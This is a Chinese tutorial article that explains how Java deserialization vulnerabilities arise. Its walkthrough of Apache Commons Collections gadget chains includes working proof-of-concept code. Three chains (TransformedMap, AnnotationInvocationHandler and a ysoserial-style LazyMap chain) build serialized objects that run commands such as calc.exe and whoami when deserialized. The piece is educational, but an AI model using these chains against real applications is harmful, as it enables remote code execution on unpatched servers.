JAVA反序列化漏洞原理分析
2021/10/12 11:14:49
本文主要是介绍JAVA反序列化漏洞原理分析,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
反序列化漏洞原理分析
从序列化和反序列化说起
什么是序列化和反序列化?
简单来讲,序列化就是把对象转换为字节序列(即可以存储或传输的形式)的过程,而反序列化则是他的逆操作,即把一个字节序列还原为对象的过程。
这两个操作一般用于对象的保存和网络传输对象的字节序列等场景。
举个例子:在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。抑或是在高并发的环境下将一些对象序列化后保存,等到需要时调出,可减轻服务器的压力
Java中的序列化和反序列化
在Java语言中,实现序列化与反序列化的类:
位置: Java.io.ObjectOutputStream java.io.ObjectInputStream
序列化: ObjectOutputStream类 --> writeObject()
注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中,按Java的标准约定是给文件一个.ser扩展名
反序列化: ObjectInputStream类 --> readObject()
注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
贴个代码实现一下原理:
import java.io.*; public class ReflectionPlay implements Serializable { private void exec() throws Exception { String s = "hello"; byte[] ObjectBytes=serialize(s); String after = (String) deserialize(ObjectBytes); System.out.println(after); } /* * 序列化对象到byte数组 * */ private byte[] serialize(final Object obj) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); return out.toByteArray(); } /* * 从byte数组中反序列化对象 * */ private Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { ByteArrayInputStream in = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); } public static void main(String[] args) throws Exception { new ReflectionPlay().exec(); } }
从运行结果可以看到,我们将String类型的对象序列化后又进行了反序列化,得到的还是原来的对象:
简单分析一下这个过程:
先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。
几点注意事项:
- 实现Serializable和Externalizable接口的类的对象才能被序列化。
- Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
整理一下序列化和反序列化的流程:
对象序列化包括如下步骤:
1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流; 2) 通过对象输出流的writeObject()方法写对象。
对象反序列化的步骤如下:
1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流; 2) 通过对象输入流的readObject()方法读取对象。
这个比较干,看这个
漏洞成因
简单来说,如果反序列化方法执行的是我们特殊构造的字节序列,那么反序列化漏洞就发生了。
如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
漏洞分析
从Apache Commons Collections说起
好了,现在大方向我们已经知道了,但是为什么要从CommonsCollections说起呢?
原因是在大型Java项目开发的过程中,会用到大量的序列化/反序列化以及大量的拓展数据结构以及工具集。而CommonsCollections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。
Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。Java中的collection可以理解为一组对象,collection里面的对象称为collection的对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。
作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。
反射机制
Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。
Java的反射机制:
在运行状态中:
对于任意一个类,都能够判断一个对象所属的类;
对于任意一个类,都能够知道这个类的所有属性和方法;
对于任意一个对象,都能够调用它的任意一个方法和属性;
这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
POC构造思路
根据上面的解释与定义,我们可以得到一个大致的思路
构造一个对象 -> 将其序列化 —> 提交数据到能反序列化的方法
想实现上面的思路,我们就得解决三个问题:
- 什么样对象符合条件?
- 如何执行命令?
- 怎样让它在被反序列化的时候执行命令?
如何执行命令
首先,我们可以知道,要想在java中调用外部命令,可以使用这个函数Runtime.getRuntime().exec(),然而,我们现在需要先找到一个对象,可以存储并在特定情况下执行我们的命令。
Map类 --> TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。
至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。等会我们就来了解一下transform。
一般我们通过通过*TransformedMap.decorate()*方法获得一个TransformedMap的实例
该方法用于将Map数据结构转化为transformedMap,该方法接收三个参数:
map:待转换的参数对象 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空) 第三个参数为Map对象内的value要经过的转化方法
Transformer接口
作用:接口于Transformer的类都具备把一个对象转化为另一个对象的功能
源码如下
后续的利用我们会用到几个实现了Transformer的类
ConstantTransformer
把一个对象转化为常量,并返回。
public class ConstantTransformer implements Transformer, Serializable{ static final long serialVersionUID = 6374440726369055124L; public static final Transformer NULL_INSTANCE = new ConstantTransformer(null); private final Object iConstant; public static Transformer getInstance(Object constantToReturn){ if (constantToReturn == null) { return NULL_INSTANCE; } return new ConstantTransformer(constantToReturn); } public ConstantTransformer(Object constantToReturn){ this.iConstant = constantToReturn; } public Object transform(Object input){ return this.iConstant; } public Object getConstant(){ return this.iConstant; } }
InvokerTransformer
通过反射,返回一个对象
... /* Input参数为要进行反射的对象, iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型 iArgs为对应方法的参数 在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数 */ public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); //根据传入的方法名和方法类型获取执行的方法 Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //反射的方式,通过对象执行该方法,其中iArgs为传入的参数 return method.invoke(input, this.iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
ChainedTransformer
ChainedTransformer为链式的Transformer,可以用来挨个执行我们定义Transformer
public ChainedTransformer(Transformer[] transformers){ this.iTransformers = transformers; } public Object transform(Object object){ for (int i = 0; i < this.iTransformers.length; i++) { object = this.iTransformers[i].transform(object); } return object; }
我们可以先用ConstantTransformer()获取Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()
因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。
正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)
下面分析一个实现该逻辑的代码
public class InvokeTest { public static void main(String[] args){ //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组 //此处声明了四个继承自Transformer的类对象存入对象数组 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap //提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。 Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("1", "zhang"); /*TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。 第一个参数为待转化的Map对象 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空) 第三个参数为Map对象内的value要经过的转化方法*/ Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); //触发Map中的MapEntry产生修改 //原因是TransformedMap中的checkSetValue调用了transforms方法,而Map.Entry的setValue恰好触发了checkSetValue,执行了transforms,利用链启动 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar"); /* 代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数: 首先通过ConstantTransformer获得Runtime类 进一步通过反射调用getMethod找到invoke函数 最后再运行命令calc.exe。 */ } }
整理一下思路:
构造一个Map和一个能够执行代码的ChainedTransformer, 生成一个TransformedMap实例 利用MapEntry的setValue()函数对TransformedMap中的键值进行修改,从而触发checkSetValue方法,执行到transform方法。 触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换
如何在readObject的时候就执行命令
根据我们之前构造的思路,需要依赖于Map中某一项去调用setValue()才能触发命令执行。 怎样才能在调用readObject()方法时直接触发执行呢?
进一步思考
我们知道,如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,且这个Map变量是可控的,我么就可以实现攻击目标。
(这里有多种利用方法,我们挑选几个典型的)
AnnotationInvocationHandler类
这个类有一个成员变量memberValues是Map类型 更棒的是,AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数对value值进行一些变换。
(该类位置在sun.reflect.annotation.AnnotationInvocationHandler
, jdk8u中AnnotationInvocationHandler类删除了memberValue.setValue()
,所以不能用AnnotationInvocationHandler + TransformedMap来构造反射链。)
使用AnnotationInvocationHandler的构造思路:
1)首先构造一个Map和一个能够执行代码的ChainedTransformer, 2)生成一个TransformedMap实例 3)实例化AnnotationInvocationHandler,并对其进行序列化, 4)当触发readObject()反序列化的时候,就能实现命令执行。
接下来根据代码看一下实现思路:
import java.io.File; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CompleteAnnotationInvocationHandlerTest{ public static void main(String[] args) throws Exception { //execArgs: 待执行的命令数组 //String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" }; //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), /* 由于Method类的invoke(Object obj,Object args[])方法的定义 所以在反射内写new Class[] {Object.class, Object[].class } 正常POC流程举例: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); */ new InvokerTransformer( "getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] } ), new InvokerTransformer( "invoke", new Class[] {Object.class,Object[].class }, new Object[] {null, null } ), new InvokerTransformer( "exec", new Class[] {String[].class }, new Object[] { "whoami" } //new Object[] { execArgs } ) }; //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作 Transformer transformedChain = new ChainedTransformer(transformers); //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); BeforeTransformerMap.put("hello", "hello"); //Map数据结构,转换后的Map /* TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。 第一个参数为待转化的Map对象 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空) 第三个参数为Map对象内的value要经过的转化方法。 */ //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null)); Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //获取AnnotationInvocationHandler的带参数为Map数据类型的构造函数 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); //为true可调用私有构造函数 ctor.setAccessible(true); //获取一个对象实例 Object instance = ctor.newInstance(Target.class, AfterTransformerMap); //序列化对象写入文件 File f = new File("temp.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); } } /* 思路:构建BeforeTransformerMap的键值对,为其赋值, 利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme 对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行 执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........) 利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec() */
LazyMap类的利用链
之前也提到了,AnnotationInvocationHandler由于jdk版本的原因,可能会出现触发不成功等原因,于是第二种方法我们配合LazyMap触发。另,LazyMap触发的方式更稳定,且一些序列化工具如ysoserial也是用的LazyMap的利用链。
我们看看LazyMap的代码,发现LazyMap类的get方法中调用了transform方法!!
这样的话,我们就只需要找到readObject时能触发LazyMap中的get方法的类即可。
于是根据这个原理,我们找到了TiedMapEntry类(调用类不唯一,这里只是列举其中一个),在TiedMapEntry初始化时,会对Map进行初始化,这时候会调用到LazyMap的get方法。
根据这个原理,我们就能定制属于自己的恶意对象了。
下面根据ysoserial的commons-collection5的恶意对象构造方法,总体的看下构造的过程
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import rewrite.TiedMapEntry; import rewrite.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CompleteLazyMapTest { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}), new ConstantTransformer("1") }; Transformer transformChain = new ChainedTransformer(transformers); //到此处为止,为生成执行链的操作 //decorate实例化LazyMap类。 // LazyMap類的get方法調用了transform,transform可以通過反射机制执行命令 Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformChain); //TiedMapEntry中调用了toString方法->调用了map的get方法 TiedMapEntry entry = new TiedMapEntry(lazyMap, "test"); //BadAttributeValueExpException的构造方法调用toString方法 BadAttributeValueExpException exception = new BadAttributeValueExpException(null); //val是私有变量,所以利用下面方法进行赋值,val变量赋值为TiedMapEntry的实例化对象, //重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类, //就会调用BadAttributeValueExpException的val = valObj.toString();触发上面的 Field valField = exception.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(exception, entry); //序列化生成payload File f = new File("payload2.ser"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(exception); out.flush(); out.close(); System.out.println("生成payload 位于payload2.ser"); //模拟反序列化 触发漏洞 ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload2.ser")); in.readObject(); // 触发漏洞 in.close(); System.out.println("反序列化payload2.ser 触发漏洞"); } }
这篇关于JAVA反序列化漏洞原理分析的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-29设计Element UI表单组件居然如此简单!
- 2024-12-28一步到位:购买适合 SEO 的域名全攻略
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign学习入门:轻松掌握微服务通信
- 2024-12-27OpenFeign学习入门:轻松掌握微服务间的HTTP请求
- 2024-12-27JDK17新特性学习入门:简洁教程带你轻松上手
- 2024-12-27JMeter传递token学习入门教程
- 2024-12-27JMeter压测学习入门指南
- 2024-12-27JWT单点登录学习入门指南